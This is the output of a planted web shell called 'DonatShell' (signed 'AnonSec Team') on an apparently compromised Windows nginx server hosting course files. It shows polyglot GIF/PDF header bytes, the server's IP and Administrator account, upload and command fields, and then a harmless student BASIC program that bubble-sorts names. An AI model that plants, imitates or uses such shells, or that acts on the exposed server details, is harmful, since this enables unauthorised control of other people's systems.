GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles//arrayNames.bas
' Enter three number and display them in numeric order.

namesToEnter=5

[again]
print
print
for i = 1 to namesToEnter
    print "Enter #";i;
    input ": ";myName$(i)
    if myName$(1) = "" then end
next i

for i = 1 to namesToEnter
    print "The ";i;" number was: ";myName$(i)
next i

change = 1
while change = 1
    change = 0
    for i = 1 to namesToEnter-1
        if myName$(i) > myName$(i+1) then
            temp$ = myName$(i+1)
            myName$(i+1) = myName$(i)
            myName$(i) = temp$
            change = 1
        end if
    next i
wend

print "The names in order are: ";
for i = 1 to namesToEnter
    print myName$(i);
    if i <> namesToEnter then print ", ";
next i
print "."
goto [again]

Anon7 - 2022
AnonSec Team